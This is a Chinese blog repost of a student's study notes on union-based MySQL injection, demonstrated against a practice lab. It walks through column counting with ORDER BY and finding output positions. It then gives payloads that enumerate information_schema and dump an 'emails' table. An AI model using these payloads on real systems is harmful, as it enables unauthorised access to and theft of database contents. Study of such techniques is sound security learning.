SQL注入常见的姿势一:联合查询注入
Posted 计算机社团
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入常见的姿势一:联合查询注入相关的知识,希望对你有一定的参考价值。
写在前面:这篇文章是我在学习mysql注入时的笔记,MySQL注入有好多的注入方式,这里就首先仔细讲一下联合查询注入。
原视频指路:https://www.bilibili.com/video/BV1VA411u7Tg?p=9
联合查询注入的基本条件:
查询列数必须一致。
查询语句的查询的各列类型,顺序最好一致。
联合查询的步骤:
闭合
判断字段数
判断结果输出位置
这里就要提到order by函数,如果 order by后面接的是整形的话,就会根据这个字段进行排序。这里我就使用MySQL靶场演示一下。
当我输入order by 3时,发现并没有报错,说明字段是多与或者等于3列字段的。
当我输入order by 4时,发现报了一个错误,说明这个数据库中只存在三列字段。
这里就要介绍另一个函数union,union操作符用于合并两个或多个select语句的结果集。这里给大家一个网址,具体介绍了union语句。https://www.w3school.com.cn/sql/sql_union.asp
这里输入?id=1' union select 1,2,3 --+
这时将第一行的变为空集,即输入?id=-1' union select 1,2,3 --+即可。
这时便会看见输出了第二行,并没有将空集输出,这时便达到了咱们的目的。(这个语句只会输出2和3位置,并不会输出1的位置,所以在使用的时候需要更改2和3,更改1的位置并没用)下面我演示一下,这里我输出一下database
可以看到输出了database,到这就讲解完了输出位置。
4. 爆库、爆表、爆列
爆破库名
union select 1,2,database()
爆破表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
union select 1,2, group_concat(table_name) from information_schema.columns where table_schema=database()
爆破Column名
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()
这里我首先获取表名,
可以看见这里一共有四个库名,接下来就可以进行接下来的一系列操作,例如获取emails这个表的内部数据。
这里我使用union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'来获取emails的所有数据字段。
可以看到emails中只有两个字段。
这里表名和列名都有了之后,便可以自由构造语句来获取每个表中的信息了。
这里我使用?id=-1' union select 1,2,group_concat(email_id) from emails --+来查询emails中的所有用户的email_id
到这里联合查询注入就简单说完了,这是我在学习联合查询注入时的笔记,如有疑问或者建议欢迎提出,感谢观看。
END
编辑|周朝阳
以上是关于SQL注入常见的姿势一:联合查询注入的主要内容,如果未能解决你的问题,请参考以下文章